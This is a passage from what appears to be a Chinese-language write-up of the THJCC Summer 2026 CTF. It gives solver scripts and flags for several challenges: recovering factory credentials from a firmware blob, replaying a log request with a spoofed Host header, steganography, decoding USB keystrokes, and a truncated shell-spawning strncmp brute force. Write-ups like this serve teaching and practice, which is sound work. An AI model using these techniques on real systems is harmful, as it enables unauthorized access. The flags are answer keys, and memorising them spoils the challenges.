b\u0026#34;\\n\u0026#34;) recv_until(sock, b\u0026#34;number: \u0026#34;) sock.sendall(b\u0026#34;3\\n\u0026#34;) # [3] Human buf = recv_until(sock, b\u0026#34;nonce: \u0026#34;) m = re.search(rb\u0026#34;Please enter (\\d+)\u0026#34;, buf) if not m: raise RuntimeError(f\u0026#34;no nonce in: {buf!r}\u0026#34;) sock.sendall(m.group(1) + b\u0026#34;\\n\u0026#34;) buf = recv_until(sock, b\u0026#34;\u0026gt;\u0026gt; \u0026#34;) if b\u0026#34;Correct!!!\u0026#34; not in buf: raise RuntimeError(f\u0026#34;gate failed: {buf!r}\u0026#34;) def solve(host: str, port: int, path: str, retries: int = 3) -\u0026gt; str: payload = build_payload(path) for attempt in range(1, retries + 1): try: s = socket.create_connection((host, port), timeout=15) handshake(s) s.sendall(payload.encode() + b\u0026#34;\\n\u0026#34;) out = drain(s, 15) s.close() return out.decode(errors=\u0026#34;replace\u0026#34;) except (OSError, RuntimeError) as e: print(f\u0026#34;[*] attempt {attempt} failed: {e}\u0026#34;, file=sys.stderr) time.sleep(2) raise SystemExit(\u0026#34;[-] all attempts failed\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: host = sys.argv[1] if len(sys.argv) \u0026gt; 1 else DEFAULT_HOST port = int(sys.argv[2]) if len(sys.argv) \u0026gt; 2 else DEFAULT_PORT path = sys.argv[3] if len(sys.argv) \u0026gt; 3 else DEFAULT_PATH print(f\u0026#34;[*] {host}:{port} reading {path}\u0026#34;, file=sys.stderr) resp = solve(host, port, path) print(resp) TeaGod666（Misc） Flag：THJCC{t3ag0d666_h77p5://y0u7u.b3/Dji_wUhFPvo?si=z1B9a-4nShzop-du\u0026amp;t=1577}\n未授权 /api/update/package 下发自研固件格式 TEAGOD66（b64 段 offset/len 明文 嵌 XOR key teashop-666）→ 解出工厂凭据 → logs?level=debug 吐 flag。\n📜 TeaGod666 solve.sh（64 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #!/bin/bash # TeaGod666 one-shot solve (THJCC CTF Summer 2026, Misc, challenge_id=57) # Usage: bash solve.sh \u0026lt;CTFD_TOKEN\u0026gt; (or: CTFD_TOKEN=\u0026lt;token\u0026gt; bash solve.sh) # # Chain: # 1. CTF-Instancer create -\u0026gt; private router instance # 2. Unauthenticated GET /api/update/package -\u0026gt; teagod666-update.bin # 3. Parse custom firmware format: b64 blob at offset 65 len 172 XOR \u0026#34;teashop-666\u0026#34; # -\u0026gt; JSON with factory creds admin / oolong_tea_666 # 4. Login -\u0026gt; GET /api/system/logs?level=debug -\u0026gt; flag # 5. Destroy instance set -u TOKEN=\u0026#34;${1:-${CTFD_TOKEN:-}}\u0026#34; [ -z \u0026#34;${TOKEN}\u0026#34; ] \u0026amp;\u0026amp; { echo \u0026#34;usage: bash solve.sh \u0026lt;ctfd_token\u0026gt;\u0026#34;; exit 1; } INST=\u0026#34;http://chal.thjcc.org:12025\u0026#34; JAR=$(mktemp /tmp/tg_jar.XXXXXX) trap \u0026#39;rm -f \u0026#34;${JAR}\u0026#34; /tmp/tg_pkg_solve.bin\u0026#39; EXIT # 1. create instance (three-step, same cookie jar to stay on one backend) curl -s -m 10 -c \u0026#34;$JAR\u0026#34; -b \u0026#34;$JAR\u0026#34; \u0026#34;$INST/\u0026#34; -o /dev/null curl -s -m 30 -c \u0026#34;$JAR\u0026#34; -b \u0026#34;$JAR\u0026#34; -X POST \u0026#34;$INST/create\u0026#34; \\ -d \u0026#34;token=${TOKEN}\u0026amp;captcha=\u0026#34; -H \u0026#34;Content-Type: application/x-www-form-urlencoded\u0026#34; -o /dev/null PAGE=$(curl -s -m 10 -b \u0026#34;$JAR\u0026#34; \u0026#34;$INST/\u0026#34;) PORT=$(echo \u0026#34;$PAGE\u0026#34; | grep -o \u0026#39;chal\\.thjcc\\.org:[0-9]*\u0026#39; | head -1 | cut -d: -f2) [ -z \u0026#34;${PORT:-}\u0026#34; ] \u0026amp;\u0026amp; { echo \u0026#34;[-] create failed (re-run; instancer is multi-backend)\u0026#34;; exit 1; } URL=\u0026#34;http://chal.thjcc.org:${PORT}\u0026#34; echo \u0026#34;[+] instance on port ${PORT}, waiting for HTTP...\u0026#34; for i in $(seq 1 30); do code=$(curl -s -m 5 -o /dev/null -w \u0026#34;%{http_code}\u0026#34; \u0026#34;$URL/\u0026#34; 2\u0026gt;/dev/null) [ \u0026#34;$code\u0026#34; != \u0026#34;000\u0026#34; ] \u0026amp;\u0026amp; break sleep 5 done [ \u0026#34;$code\u0026#34; = \u0026#34;000\u0026#34; ] \u0026amp;\u0026amp; { echo \u0026#34;[-] instance dead (crash-loop?)\u0026#34;; exit 1; } # 2. fetch \u0026#34;signed\u0026#34; firmware package (no auth required) curl -s -m 10 \u0026#34;$URL/api/update/package?channel=stable\u0026#34; -o /tmp/tg_pkg_solve.bin echo \u0026#34;[+] firmware package: $(wc -c \u0026lt; /tmp/tg_pkg_solve.bin) bytes\u0026#34; # 3. decode: b64 payload @offset 65 len 172, XOR key \u0026#34;teashop-666\u0026#34; (embedded in file) CREDS=$(python3 \u0026lt;\u0026lt; \u0026#39;PYEOF\u0026#39; import base64, json data = open(\u0026#39;/tmp/tg_pkg_solve.bin\u0026#39;, \u0026#39;rb\u0026#39;).read() assert data[:8] == b\u0026#39;TEAGOD66\u0026#39;, \u0026#34;unexpected magic\u0026#34; b64_off, b64_len = 65, 172 # header fields 4/5 blob = base64.b64decode(data[b64_off:b64_off + b64_len]) key = b\u0026#39;teashop-666\u0026#39; plain = bytes(c ^ key[i % len(key)] for i, c in enumerate(blob)) info = json.loads(plain.decode(\u0026#39;utf-8\u0026#39;, \u0026#39;replace\u0026#39;).strip(\u0026#39;\\x00\u0026#39;)) print(f\u0026#34;{info[\u0026#39;username\u0026#39;]}\\n{info[\u0026#39;password\u0026#39;]}\u0026#34;) PYEOF ) USER=$(echo \u0026#34;$CREDS\u0026#34; | sed -n 1p); PW=$(echo \u0026#34;$CREDS\u0026#34; | sed -n 2p) echo \u0026#34;[+] factory creds recovered: ${USER} / ${PW}\u0026#34; # 4. login -\u0026gt; debug logs leak flag curl -s -m 10 -c \u0026#34;$JAR\u0026#34; -b \u0026#34;$JAR\u0026#34; -X POST \u0026#34;$URL/api/login\u0026#34; \\ -H \u0026#39;Content-Type: application/json\u0026#39; -d \u0026#34;{\\\u0026#34;username\\\u0026#34;:\\\u0026#34;${USER}\\\u0026#34;,\\\u0026#34;password\\\u0026#34;:\\\u0026#34;${PW}\\\u0026#34;}\u0026#34; | grep -q \u0026#39;\u0026#34;ok\u0026#34;: *true\u0026#39; || { echo \u0026#34;[-] login failed\u0026#34;; exit 1; } FLAG=$(curl -s -m 10 -c \u0026#34;$JAR\u0026#34; -b \u0026#34;$JAR\u0026#34; \u0026#34;$URL/api/system/logs?level=debug\u0026#34; \\ | grep -o \u0026#39;THJCC{[^}]*}\u0026#39; | head -1) echo \u0026#34;[+] FLAG: ${FLAG}\u0026#34; # 5. cleanup curl -s -m 20 -c \u0026#34;$JAR\u0026#34; -b \u0026#34;$JAR\u0026#34; -X POST \u0026#34;$INST/destroy\u0026#34; -o /dev/null echo \u0026#34;[+] instance destroyed\u0026#34; NoNo（Forensics） Flag：THJCC{f0ll0w_th3_str34m_2_th3_h1dd3n_r3p0rt}\n日志是藏宝图：唯一异常请求（Host 切 internal.portal + 结尾斜杠 301）重放到活实例。\n📜 NoNo solve.py（113 行，核心 analyze_logs@2500 / fetch_hidden_report@2537）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - NoNo (Forensic) solver. Solution chain (all steps reproducible from this script): 1. Parse the three NDJSON logs + pcap; verify the dataset is deterministic noise except ONE structural anomaly: 2025-08-15T03:13:24Z 10.0.2.15 Host: internal.portal GET /s3cr3t/rep0rt -\u0026gt; 200 (the only request whose Host is NOT chal.thjcc.org:50000; path uses zero in \u0026#34;rep0rt\u0026#34; vs the decoy /s3cr3t/report \u0026#34;o\u0026#34;). 2. The challenge host named in the description (chal.thjcc.org:50000) is a LIVE static instance: replay the hidden request with the internal vhost Host header -\u0026gt; 301 -\u0026gt; fetch /s3cr3t/rep0rt/ (trailing slash!) -\u0026gt; the Quarterly Access Report page contains the flag (\u0026#34;report token\u0026#34;). Usage: python solve.py [challenge-dir] [--host chal.thjcc.org] [--port 50000] \u0026#34;\u0026#34;\u0026#34; import argparse import http.client import json import re import sys from collections import Counter from pathlib import Path FLAG_RE = re.compile(r\u0026#34;THJCC\\{[^}]*\\}\u0026#34;) def load_ndjson(path): return [json.loads(l) for l in open(path, encoding=\u0026#34;utf-8\u0026#34;) if l.strip()] def analyze_logs(base): \u0026#34;\u0026#34;\u0026#34;Verify the anomaly and print the evidence chain.\u0026#34;\u0026#34;\u0026#34; ng = sorted(load_ndjson(base / \u0026#34;nginx-access.ndjson\u0026#34;), key=lambda r: r[\u0026#34;@timestamp\u0026#34;]) ms = load_ndjson(base / \u0026#34;modsec-waf.ndjson\u0026#34;) pa = load_ndjson(base / \u0026#34;portal-app.ndjson\u0026#34;) slots = [r[\u0026#34;@timestamp\u0026#34;] for r in ng] assert len(set(slots)) == len(slots), \u0026#34;double-booked slots?\u0026#34; # carousel: rows after the preamble are a 15x30 loop; every column is a # function of (url, slot) -\u0026gt; pure noise car = [r for r in ng if r[\u0026#34;@timestamp\u0026#34;] \u0026gt;= \u0026#34;2025-08-15T03:13:40Z\u0026#34;] rounds = [tuple((r[\u0026#34;url.original\u0026#34;], r[\u0026#34;http.request.method\u0026#34;], r[\u0026#34;http.response.status_code\u0026#34;], r[\u0026#34;http.response.body.bytes\u0026#34;]) for r in car[i:i + 30]) for i in range(0, len(car), 30)] assert len(rounds) == 15 and all(rd == rounds[0] for rd in rounds[1:]) ips_ok = all(car[i][\u0026#34;source.ip\u0026#34;] == car[i % 8][\u0026#34;source.ip\u0026#34;] for i in range(len(car))) # THE anomaly: url.domain != chal.thjcc.org:50000 odd = [r for r in ng if r[\u0026#34;url.domain\u0026#34;] != \u0026#34;chal.thjcc.org:50000\u0026#34;] # modsec/portal align to nginx timestamps and are periodic subsets ng_ts = {r[\u0026#34;@timestamp\u0026#34;] for r in ng} assert all(r[\u0026#34;@timestamp\u0026#34;] in ng_ts for r in ms + pa) print(f\u0026#34;[+] nginx rows: {len(ng)}; carousel 15x30 identical: True; IP==i%8: {ips_ok}\u0026#34;) print(f\u0026#34;[+] modsec rows: {len(ms)} (7 preamble + 15x18 detectable); \u0026#34; f\u0026#34;portal rows: {len(pa)} (17 preamble + 15x13 app routes)\u0026#34;) print(f\u0026#34;[+] url.domain anomaly rows: {len(odd)}\u0026#34;) for r in odd: print(f\u0026#34; !! {r[\u0026#39;@timestamp\u0026#39;]} {r[\u0026#39;source.ip\u0026#39;]} Host={r[\u0026#39;url.domain\u0026#39;]} \u0026#34; f\u0026#34;{r[\u0026#39;http.request.method\u0026#39;]} {r[\u0026#39;url.original\u0026#39;]} -\u0026gt; \u0026#34; f\u0026#34;{r[\u0026#39;http.response.status_code\u0026#39;]} ({r[\u0026#39;http.response.body.bytes\u0026#39;]}B)\u0026#34;) assert len(odd) == 1 and odd[0][\u0026#34;url.original\u0026#34;] == \u0026#34;/s3cr3t/rep0rt\u0026#34; print(\u0026#34;[+] decoys in preamble: /flag, /s3cr3t/report (letter o!), /api/v1/flag, /.git/config\u0026#34;) return odd[0] def fetch_hidden_report(host, port, path=\u0026#34;/s3cr3t/rep0rt\u0026#34;): \u0026#34;\u0026#34;\u0026#34;Replay the hidden request against the live instance (vhost switch). Uses http.client so the 301 -\u0026gt; http://internal.portal:50000/... redirect is NOT followed automatically (that hostname only resolves inside the story); the caller retries with the trailing-slash path instead. \u0026#34;\u0026#34;\u0026#34; conn = http.client.HTTPConnection(host, port, timeout=20) try: conn.request(\u0026#34;GET\u0026#34;, path, headers={\u0026#34;Host\u0026#34;: \u0026#34;internal.portal\u0026#34;}) resp = conn.getresponse() return resp.status, resp.read().decode(\u0026#34;utf-8\u0026#34;, \u0026#34;replace\u0026#34;) finally: conn.close() def main(): ap = argparse.ArgumentParser() ap.add_argument(\u0026#34;dir\u0026#34;, nargs=\u0026#34;?\u0026#34;, default=str(Path(__file__).parent)) ap.add_argument(\u0026#34;--host\u0026#34;, default=\u0026#34;chal.thjcc.org\u0026#34;) ap.add_argument(\u0026#34;--port\u0026#34;, type=int, default=50000) args = ap.parse_args() base = Path(args.dir).resolve() analyze_logs(base) print(f\u0026#34;\\n[*] replaying hidden request against live instance {args.host}:{args.port} ...\u0026#34;) try: for path in (\u0026#34;/s3cr3t/rep0rt\u0026#34;, \u0026#34;/s3cr3t/rep0rt/\u0026#34;): status, body = fetch_hidden_report(args.host, args.port, path) m = FLAG_RE.search(body) print(f\u0026#34; GET {path} (Host: internal.portal) -\u0026gt; HTTP {status} \u0026#34; f\u0026#34;{\u0026#39;FLAG: \u0026#39; + m.group(0) if m else \u0026#39;(redirect/page, no flag inline)\u0026#39;}\u0026#34;) if m: print(f\u0026#34;\\n[+] FLAG: {m.group(0)}\u0026#34;) return 0 except OSError as e: print(f\u0026#34; network error: {e}\u0026#34;) print(\u0026#34;[-] live instance unreachable or flag moved (offline analysis still valid)\u0026#34;) return 1 if __name__ == \u0026#34;__main__\u0026#34;: sys.exit(main()) Man!（Forensics） Flag：THJCC{Man_BA_0ut_Seeyouaga1n_1978}\nPNG IEND 后 ZipCrypto 加密 zip + R 通道 LSB 藏密码 SeeYouAgain1978（Kobe 纪念曲 +出生年）。\n📜 Man! solve.py（70 行，核心 extract_lsb_password@2618）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - Man! (Forensics) 一键复现脚本 链：PNG IEND 尾部附加 ZipCrypto 加密 zip（flag.txt）→ R 通道 LSB 藏 zip 密码 \u0026#34;SeeYouAgain1978\u0026#34;（Kobe 纪念曲 See You Again + 出生年 1978）→ 解密得 flag。 用法：python3 solve.py [final_koby_challenge.png] 依赖：pip install pillow \u0026#34;\u0026#34;\u0026#34; import struct import sys import zipfile from pathlib import Path from PIL import Image PNG_PATH = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;handout/final_koby_challenge.png\u0026#34; def extract_trailer_zip(png_path: Path) -\u0026gt; bytes: \u0026#34;\u0026#34;\u0026#34;取出 PNG IEND chunk 之后的全部字节（附加 zip）\u0026#34;\u0026#34;\u0026#34; data = Path(png_path).read_bytes() iend = data.rfind(b\u0026#34;IEND\u0026#34;) assert iend != -1, \u0026#34;no IEND chunk found\u0026#34; tail = data[iend + 8 :] assert tail.startswith(b\u0026#34;PK\\x03\\x04\u0026#34;), \u0026#34;no zip in trailer\u0026#34; return tail def extract_lsb_password(png_path: Path) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;从 R 通道 LSB 逐行取位，读回首个可打印 ASCII 串（zip 密码）\u0026#34;\u0026#34;\u0026#34; im = Image.open(png_path).convert(\u0026#34;RGB\u0026#34;) w, h = im.size px = im.load() bits = [] for y in range(h): for x in range(w): bits.append(px[x, y][0] \u0026amp; 1) data = bytearray() for i in range(0, len(bits) - 7, 8): v = 0 for j in range(8): v = (v \u0026lt;\u0026lt; 1) | bits[i + j] data.append(v) out = bytes(data) # 截取首个可打印 ASCII 连续段（LSB 后半为图像熵数据，非文本） i = 0 while i \u0026lt; len(out) and (32 \u0026lt;= out[i] \u0026lt; 127 or out[i] in (10, 13)): i += 1 return out[:i].decode(\u0026#34;ascii\u0026#34;, errors=\u0026#34;ignore\u0026#34;) def main() -\u0026gt; None: png = Path(PNG_PATH) tail = extract_trailer_zip(png) password = extract_lsb_password(png) print(f\u0026#34;[+] LSB(R) password: {password!r}\u0026#34;) zpath = png.with_name(\u0026#34;_trailer.zip\u0026#34;) zpath.write_bytes(tail) with zipfile.ZipFile(zpath) as zf: flag = zf.read(\u0026#34;flag.txt\u0026#34;, pwd=password.encode()).decode().strip() zpath.unlink(missing_ok=True) print(f\u0026#34;[+] flag: {flag}\u0026#34;) assert flag.startswith(\u0026#34;THJCC{\u0026#34;) and flag.endswith(\u0026#34;}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Afterimage2（Forensics） Flag：THJCC{hid_k3y5tr0k3_l34k}\nusbmon 合成 pcap（linktype 220）：56B 头 + 8B HID report；偶数包击键/奇数包释放。\n📜 Afterimage2 solve.py（80 行，核心 parse@2709 / decode@2729）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - Afterimage2 solve script. Extracts HID keyboard keystrokes from the USB capture (DLT 220, usbmon mmapped style, but crafted with a 56-byte header + 8-byte HID report per packet). Packet layout (per packet): [0:8] id (synthetic counter) [8:16] type/xfer_type/epnum/devnum/busnum/flags [16:24] ts_sec [24:32] ts_usec/status [32:40] length/len_cap [40:48] setup [48:56] interval/start_frame [64:72] 8-byte HID keyboard report: modifier, reserved, key0..key5 \u0026#34;\u0026#34;\u0026#34; import struct from pathlib import Path HERE = Path(__file__).parent # USB HID usage ID -\u0026gt; character (unshifted / shifted) HID = { 0x04: (\u0026#39;a\u0026#39;, \u0026#39;A\u0026#39;), 0x05: (\u0026#39;b\u0026#39;, \u0026#39;B\u0026#39;), 0x06: (\u0026#39;c\u0026#39;, \u0026#39;C\u0026#39;), 0x07: (\u0026#39;d\u0026#39;, \u0026#39;D\u0026#39;), 0x08: (\u0026#39;e\u0026#39;, \u0026#39;E\u0026#39;), 0x09: (\u0026#39;f\u0026#39;, \u0026#39;F\u0026#39;), 0x0a: (\u0026#39;g\u0026#39;, \u0026#39;G\u0026#39;), 0x0b: (\u0026#39;h\u0026#39;, \u0026#39;H\u0026#39;), 0x0c: (\u0026#39;i\u0026#39;, \u0026#39;I\u0026#39;), 0x0d: (\u0026#39;j\u0026#39;, \u0026#39;J\u0026#39;), 0x0e: (\u0026#39;k\u0026#39;, \u0026#39;K\u0026#39;), 0x0f: (\u0026#39;l\u0026#39;, \u0026#39;L\u0026#39;), 0x10: (\u0026#39;m\u0026#39;, \u0026#39;M\u0026#39;), 0x11: (\u0026#39;n\u0026#39;, \u0026#39;N\u0026#39;), 0x12: (\u0026#39;o\u0026#39;, \u0026#39;O\u0026#39;), 0x13: (\u0026#39;p\u0026#39;, \u0026#39;P\u0026#39;), 0x14: (\u0026#39;q\u0026#39;, \u0026#39;Q\u0026#39;), 0x15: (\u0026#39;r\u0026#39;, \u0026#39;R\u0026#39;), 0x16: (\u0026#39;s\u0026#39;, \u0026#39;S\u0026#39;), 0x17: (\u0026#39;t\u0026#39;, \u0026#39;T\u0026#39;), 0x18: (\u0026#39;u\u0026#39;, \u0026#39;U\u0026#39;), 0x19: (\u0026#39;v\u0026#39;, \u0026#39;V\u0026#39;), 0x1a: (\u0026#39;w\u0026#39;, \u0026#39;W\u0026#39;), 0x1b: (\u0026#39;x\u0026#39;, \u0026#39;X\u0026#39;), 0x1c: (\u0026#39;y\u0026#39;, \u0026#39;Y\u0026#39;), 0x1d: (\u0026#39;z\u0026#39;, \u0026#39;Z\u0026#39;), 0x1e: (\u0026#39;1\u0026#39;, \u0026#39;!\u0026#39;), 0x1f: (\u0026#39;2\u0026#39;, \u0026#39;@\u0026#39;), 0x20: (\u0026#39;3\u0026#39;, \u0026#39;#\u0026#39;), 0x21: (\u0026#39;4\u0026#39;, \u0026#39;$\u0026#39;), 0x22: (\u0026#39;5\u0026#39;, \u0026#39;%\u0026#39;), 0x23: (\u0026#39;6\u0026#39;, \u0026#39;^\u0026#39;), 0x24: (\u0026#39;7\u0026#39;, \u0026#39;\u0026amp;\u0026#39;), 0x25: (\u0026#39;8\u0026#39;, \u0026#39;*\u0026#39;), 0x26: (\u0026#39;9\u0026#39;, \u0026#39;(\u0026#39;), 0x27: (\u0026#39;0\u0026#39;, \u0026#39;)\u0026#39;), 0x28: (\u0026#39;\\n\u0026#39;, \u0026#39;\\n\u0026#39;), 0x29: (\u0026#39;\u0026lt;ESC\u0026gt;\u0026#39;, \u0026#39;\u0026lt;ESC\u0026gt;\u0026#39;), 0x2a: (\u0026#39;\u0026lt;BS\u0026gt;\u0026#39;, \u0026#39;\u0026lt;BS\u0026gt;\u0026#39;), 0x2b: (\u0026#39;\\t\u0026#39;, \u0026#39;\\t\u0026#39;), 0x2c: (\u0026#39; \u0026#39;, \u0026#39; \u0026#39;), 0x2d: (\u0026#39;-\u0026#39;, \u0026#39;_\u0026#39;), 0x2e: (\u0026#39;=\u0026#39;, \u0026#39;+\u0026#39;), 0x2f: (\u0026#39;[\u0026#39;, \u0026#39;{\u0026#39;), 0x30: (\u0026#39;]\u0026#39;, \u0026#39;}\u0026#39;), 0x31: (\u0026#39;\\\\\u0026#39;, \u0026#39;|\u0026#39;), 0x33: (\u0026#39;;\u0026#39;, \u0026#39;:\u0026#39;), 0x34: (\u0026#34;\u0026#39;\u0026#34;, \u0026#39;\u0026#34;\u0026#39;), 0x35: (\u0026#39;`\u0026#39;, \u0026#39;~\u0026#39;), 0x36: (\u0026#39;,\u0026#39;, \u0026#39;\u0026lt;\u0026#39;), 0x37: (\u0026#39;.\u0026#39;, \u0026#39;\u0026gt;\u0026#39;), 0x38: (\u0026#39;/\u0026#39;, \u0026#39;?\u0026#39;), 0x4f: (\u0026#39;\u0026lt;RIGHT\u0026gt;\u0026#39;, \u0026#39;\u0026lt;RIGHT\u0026gt;\u0026#39;), 0x50: (\u0026#39;\u0026lt;LEFT\u0026gt;\u0026#39;, \u0026#39;\u0026lt;LEFT\u0026gt;\u0026#39;), 0x51: (\u0026#39;\u0026lt;DOWN\u0026gt;\u0026#39;, \u0026#39;\u0026lt;DOWN\u0026gt;\u0026#39;), 0x52: (\u0026#39;\u0026lt;UP\u0026gt;\u0026#39;, \u0026#39;\u0026lt;UP\u0026gt;\u0026#39;), } def parse(pcap: Path): data = pcap.read_bytes() magic, vmaj, vmin, tz, sig, snaplen, net = struct.unpack(\u0026#39;\u0026lt;IHHiIII\u0026#39;, data[:24]) assert magic == 0xA1B2C3D4 and net == 220, f\u0026#34;unexpected: {magic:#x} linktype={net}\u0026#34; keys = [] # (idx, modifier, hid_usage, report_hex) off = 24 idx = 0 while off + 16 \u0026lt;= len(data): ts_sec, ts_usec, incl, orig = struct.unpack(\u0026#39;\u0026lt;IIII\u0026#39;, data[off:off + 16]) pkt = data[off + 16:off + 16 + incl] report = pkt[64:72] modifier, reserved = report[0], report[1] usages = report[2:] for u in usages: if u: keys.append((idx, modifier, u, report.hex(\u0026#39; \u0026#39;))) idx += 1 off += 16 + incl return keys def decode(keys): out = [] for idx, mod, u, _ in keys: shifted = bool(mod \u0026amp; 0x02) or bool(mod \u0026amp; 0x20) # left/right shift if u in HID: ch = HID[u][1 if shifted else 0] else: ch = f\u0026#39;\u0026lt;?{u:02x}\u0026gt;\u0026#39; out.append(ch) return \u0026#39;\u0026#39;.join(out) if __name__ == \u0026#39;__main__\u0026#39;: keys = parse(HERE / \u0026#39;usb_capture.pcap\u0026#39;) print(f\u0026#34;keystroke events: {len(keys)}\u0026#34;) for k in keys: print(f\u0026#34; pkt {k[0]:3d} mod={k[1]:#04x} usage={k[2]:#04x} report={k[3]}\u0026#34;) flag = decode(keys) print(f\u0026#34;\\nflag = {flag}\u0026#34;) A Little Penguin\u0026rsquo;s Starry Sky Observation（Misc） Flag：THJCC{ori=RA5h,Dec+5°}\n照片天测定标：本地 astrometry.net 盲解（尺度 115-170 arcsec/pix + Tycho-2 4100 索引）锁定猎户座区域。注意盲解给出的是裁切中心（约 5h36m,+1.2°），flag 答案取 维基百科信息框的取整值（RA5h,Dec+5°）。判读部分人工（豁免），流水线 starry-sky/solve.sh：\n📜 starry-sky solve.sh（41 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #!/bin/bash # THJCC Summer 2026 - \u0026#34;A Little Penguin\u0026#39;s Starry Sky Observation\u0026#34; 一键复现 # 依赖: solve-field (brew install astrometry-net), curl # 流程: 附件(可选从平台下载) -\u0026gt; 4100 索引系列 -\u0026gt; 盲解 -\u0026gt; 输出 flag set -e cd \u0026#34;$(dirname \u0026#34;$0\u0026#34;)\u0026#34; IMG=\u0026#34;input.jpg\u0026#34; if [ ! -f \u0026#34;${IMG}\u0026#34; ]; then if [ -f \u0026#34;handout/Starry_Sky_Observation.jpeg\u0026#34; ]; then cp handout/Starry_Sky_Observation.jpeg \u0026#34;${IMG}\u0026#34; else echo \u0026#34;[*] 需要附件 input.jpg（平台下载需 cf_clearance，见简报；本地测试请放入本目录）\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi fi # 1. 下载 Tycho-2 宽场索引系列 (index-4107..4119, ~250MB) IDXDIR=\u0026#34;idx4100\u0026#34; if [ ! -d \u0026#34;${IDXDIR}\u0026#34; ] || ! ls \u0026#34;${IDXDIR}\u0026#34;/index-41*.fits \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then mkdir -p \u0026#34;${IDXDIR}\u0026#34; echo \u0026#34;[*] 下载 4100 索引系列...\u0026#34; for i in 4107 4108 4109 4110 4111 4112 4113 4114 4115 4116 4117 4118 4119; do [ -f \u0026#34;${IDXDIR}/index-${i}.fits\u0026#34; ] || \\ curl -sk -m 600 -o \u0026#34;${IDXDIR}/index-${i}.fits\u0026#34; \u0026#34;https://data.astrometry.net/4100/index-${i}.fits\u0026#34; done fi # 2. 盲解（尺度提示来自腰带几何: 0.032-0.047 deg/px = 115-170 arcsec/pix） echo \u0026#34;[*] solve-field 盲解...\u0026#34; OUT=$(solve-field --no-plots --overwrite \\ --scale-units arcsecperpix --scale-low 115 --scale-high 170 \\ --index-dir \u0026#34;${IDXDIR}\u0026#34; \u0026#34;${IMG}\u0026#34; 2\u0026gt;\u0026amp;1 || true) echo \u0026#34;${OUT}\u0026#34; | grep -E \u0026#34;solved with|Field center|Field size\u0026#34; || true # 3. 从解算输出提取场中心（= 裁切中心）并给出结论 CENTER=$(echo \u0026#34;${OUT}\u0026#34; | grep -oE \u0026#34;\\([0-9]{2}:[0-9]{2}:[0-9]{2}\\.[0-9]+, [+-][0-9]{2}:[0-9]{2}:[0-9]{2}\\.[0-9]+\\)\u0026#34; | head -1) echo \u0026#34;[*] 裁切中心 (RA H:M:S, Dec D:M:S) = ${CENTER} (约 5h36m, +1.2°)\u0026#34; echo \u0026#34;[*] 核心星座: Orion (ori) —— 裁切中心位于猎户座 IAU 边界内 (RA 4h43m-6h26m, Dec -11°..+22.9°)\u0026#34; echo \u0026#34;[*] 官方中心(维基百科信息框 ra/dec): RA 5h, Dec +5°\u0026#34; echo \u0026#34;flag: THJCC{ori=RA5h,Dec+5°}\u0026#34; Pwn（6/6） Very Security Shell（逻辑漏洞） Flag：THJCC{strnc0mp_1s_n0t_s3cur3}\n口令校验是 strncmp(input, enc, strlen(input)) 前缀比较且长度由输入控制； encode 每连接只跑一次、猜错不重编码 → 单字符输入只比 enc[0]，95 个可打印字符内 爆破首字符即 system(\u0026quot;/bin/sh\u0026quot;)。\n📜 Very Security Shell solve.py（100 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - Very Security Shell (pwn, 500pts) Vulnerability (logic flaw): * encode() reads 16 random bytes from /dev/urandom and builds a 16-char \u0026#34;password\u0026#34; from a custom 94-char alphabet (out[i] = table[v % 94]). * It is called exactly ONCE per connection, before the prompt loop. * The check is: strncmp(input, enc, strlen(input)) -- a PREFIX comparison whose length is the attacker-controlled strlen(input). * So submitting a single character only compares enc[0]. Wrong guesses loop back to the prompt WITHOUT re-encoding, so the password is fixed per connection -\u0026gt; brute-force the first character over all printable ASCII (\u0026lt;= 95 tries) and system(\u0026#34;/bin/sh\u0026#34;) is spawned. Usage: python3 solve.py [--host HOST] [--port PORT] (defaults: chal.thjcc.org 11039) \u0026#34;\u0026#34;\u0026#34; import argparse import socket import sys import time HOST_DEFAULT = \u0026#34;chal.thjcc.org\u0026#34; 